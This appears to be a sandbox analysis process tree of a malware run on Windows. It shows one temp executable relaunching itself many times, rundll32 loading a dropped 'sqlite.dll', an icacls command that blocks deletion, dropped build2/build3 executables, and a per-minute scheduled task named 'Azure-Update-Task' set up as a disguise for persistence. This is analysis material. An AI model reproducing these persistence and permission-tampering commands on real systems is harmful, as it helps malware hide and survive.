C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:368
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1676
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1708
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2368
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2244
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2584
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1336
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1436
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:752
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:900
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1724
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:960
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2708
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2876
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1756
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2824
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2500
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:820
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1784
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2092
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2520
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:332
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3044
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2868
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3012
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1584
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2240
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2348
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2204
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2252
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2624
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2392
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2828
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:932
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1680
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:816
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2544
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:344
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1692
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2704
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2752
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1676
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2548
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2224
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1064
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3036
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2584
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2720
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1336
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1920
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2324
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2164
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1796
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2168
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2896
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2516
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2404
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1632
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2284
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2816
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2576
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:872
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1524
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3064
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2892
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2592
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2636
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2664
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1464
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1468
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2688
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2956
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2860
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2388
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2960
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2416
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2840
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1344
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1904
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2820
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2808
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1060
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1688
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2616
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2964
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3052
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1472
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2088
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2568
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2436
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:760
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2704
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:2728
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3092
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3284
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3376
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3472
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3540
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3684
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3820
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3936
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3984
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1064
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3328
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3772
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3932
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3920
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3872
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3428
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3704
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3664
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:1932
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3524
-
-
C:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exeC:\Users\Admin\AppData\Local\Temp\7zS85516C05\Tue11e4e580f2e8141a3.exe2⤵PID:3852
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2124 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:2152
-
-
C:\Users\Admin\AppData\Local\Temp\3FDE.exeC:\Users\Admin\AppData\Local\Temp\3FDE.exe1⤵PID:2912
-
C:\Users\Admin\AppData\Local\Temp\88B1.exeC:\Users\Admin\AppData\Local\Temp\88B1.exe1⤵PID:332
-
C:\Users\Admin\AppData\Local\Temp\D6A2.exeC:\Users\Admin\AppData\Local\Temp\D6A2.exe1⤵PID:2496
-
C:\Users\Admin\AppData\Local\Temp\D6A2.exeC:\Users\Admin\AppData\Local\Temp\D6A2.exe2⤵PID:2504
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\7622745d-adf1-404a-865f-bb742ade0028" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
PID:3836
-
-
C:\Users\Admin\AppData\Local\Temp\D6A2.exe"C:\Users\Admin\AppData\Local\Temp\D6A2.exe" --Admin IsNotAutoStart IsNotTask3⤵PID:3880
-
C:\Users\Admin\AppData\Local\Temp\D6A2.exe"C:\Users\Admin\AppData\Local\Temp\D6A2.exe" --Admin IsNotAutoStart IsNotTask4⤵PID:3888
-
C:\Users\Admin\AppData\Local\970ab103-5b6f-4ea6-9347-4c065fecc84b\build2.exe"C:\Users\Admin\AppData\Local\970ab103-5b6f-4ea6-9347-4c065fecc84b\build2.exe"5⤵PID:3768
-
C:\Users\Admin\AppData\Local\970ab103-5b6f-4ea6-9347-4c065fecc84b\build2.exe"C:\Users\Admin\AppData\Local\970ab103-5b6f-4ea6-9347-4c065fecc84b\build2.exe"6⤵PID:3728
-
-
-
C:\Users\Admin\AppData\Local\970ab103-5b6f-4ea6-9347-4c065fecc84b\build3.exe"C:\Users\Admin\AppData\Local\970ab103-5b6f-4ea6-9347-4c065fecc84b\build3.exe"5⤵PID:3148
-
C:\Users\Admin\AppData\Local\970ab103-5b6f-4ea6-9347-4c065fecc84b\build3.exe"C:\Users\Admin\AppData\Local\970ab103-5b6f-4ea6-9347-4c065fecc84b\build3.exe"6⤵PID:2224
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"7⤵
- Creates scheduled task(s)
PID:4048
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\3D13.exeC:\Users\Admin\AppData\Local\Temp\3D13.exe1⤵PID:3580
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵PID:3756
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:3740
-
C:\Users\Admin\AppData\Local\Temp\B3BA.exeC:\Users\Admin\AppData\Local\Temp\B3BA.exe1⤵PID:3912